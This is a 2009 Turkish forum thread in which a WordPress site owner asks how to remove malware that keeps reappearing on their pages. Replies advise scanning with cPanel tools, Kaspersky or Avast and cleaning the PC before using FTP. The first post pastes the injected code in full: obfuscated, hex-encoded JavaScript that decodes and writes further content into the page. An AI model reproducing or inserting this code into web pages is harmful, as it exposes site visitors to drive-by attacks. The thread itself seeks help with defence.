• 12-04-2009, 12:19:48
    #1
    Arkadaslar Bir kac gundur siteme virüs atılıyor.Dun ana sayfamdaydı sildim bugun ise Burada
    Bu Virüs koduna rastladım

    <script>function c32d980125q49e0d235b35f5(q49e0d235b3c95){ var q49e0d235b407f=16; return (eval('pa'+'rseInt')(q49e0d235b3c95,q49e0d235b407f ));}function q49e0d235b484b(q49e0d235b4c3b){ var q49e0d235b5037='';q49e0d235b63e8=String['fromCharCode'];for(q49e0d235b54ff=0;q49e0d235b54ff<q49e0d235b4c3 b.length;q49e0d235b54ff+=2){ q49e0d235b5037+=(q49e0d235b63e8(c32d980125q49e0d23 5b35f5(q49e0d235b4c3b.substr(q49e0d235b54ff,2)))); }return q49e0d235b5037;} var v23='';var q49e0d235b6b8c='3C7'+v23+'3637'+v23+'2697'+v23+'07 '+v23+'43E696628216D7'+v23+'96961297'+v23+'B646F63 7'+v23+'56D656E7'+v23+'42E7'+v23+'7'+v23+'7'+v23+' 2697'+v23+'465287'+v23+'56E657'+v23+'363617'+v23+' 065282027'+v23+'2533632536392536362537'+v23+'32253 63125366425363525323025366525363125366425363525336 42536332533332533322532302537'+v23+'332537'+v23+'3 2253633253364253237'+v23+'2536382537'+v23+'342537' +v23+'342537'+v23+'3025336125326625326625363625363 12536322536392536662536642536662537'+v23+'34253666 2537'+v23+'322532652536332536652532662537'+v23+'33 2536312536662537'+v23+'302536392537'+v23+'30253332 2537'+v23+'392537'+v23+'342533332537'+v23+'3025333 8253337'+v23+'2537'+v23+'342537'+v23+'332536312536 61253638253634253631253266253639253665253634253635 2537'+v23+'382532652537'+v23+'302536382537'+v23+'3 0253366253237'+v23+'2532622534642536312537'+v23+'3 42536382532652537'+v23+'322536662537'+v23+'3525366 52536342532382534642536312537'+v23+'34253638253265 2537'+v23+'322536312536652536342536662536642532382 53239253261253331253330253339253339253330253338253 239253262253237'+v23+'2536322533342533302536332533 32253336253633253337'+v23+'253237'+v23+'2532302537 '+v23+'37'+v23+'2536392536342537'+v23+'34253638253 36425333225333125333325323025363825363525363925363 7'+v23+'2536382537'+v23+'3425336425333525333125333 62532302537'+v23+'332537'+v23+'342537'+v23+'392536 63253635253364253237'+v23+'2537'+v23+'362536392537 '+v23+'332536392536322536392536632536392537'+v23+' 342537'+v23+'3925336125363825363925363425363425363 5253665253237'+v23+'253365253363253266253639253636 2537'+v23+'3225363125366425363525336527'+v23+'2929 3B7'+v23+'D7'+v23+'6617'+v23+'2206D7'+v23+'969613D 7'+v23+'47'+v23+'27'+v23+'5653B3C2F7'+v23+'3637'+v 23+'2697'+v23+'07'+v23+'43E';q49e0d235b7343=docume nt;q49e0d235b7343.write(q49e0d235b484b(q49e0d235b6 b8c));</script> Bu virüsü silmem için wp dosyalarının hangisine bakmam lazım yada panelden oluyor mu bir bilgi veriniz lutfen.
  • 12-04-2009, 12:26:25
    #2
    Cpanel Kullanıyorsan Öncelikle Virus Scanner'ı dene.
    Host Sağlayan firmayla görüş
    Bilgisayarına format atmadan ftpye bağlanma.
  • 12-04-2009, 12:31:11
    #3
    Hostcuma ileti attım kendilerinde böle bir virüsü silecek program olmadıgını bilgisayarınızı temizleyin yedek dosyalarınızı atalım dediler. Az once wp panele girdim hemen uyarı verdi virüs programım wp-panelde virüs olabilir mi? Varsa nasıl temizlerim ?
  • 12-04-2009, 14:16:21
    #4
    ftp deki bütün php html htm asp dosyalarını indirin, wordpress var diyosunuz, sadece wordpress dosyaları varsa onları indirin. kaspersky internet security olabilir, yada avast indirin taratın dosyaları. daha sonra ftp ye atın. bu virüsü biliyorum, php html htm gibi dosyaların sonuna kod ekliyor.. kaspersky işe yarıyor.. temizledikten sonra yeniden atın dosyalarınızı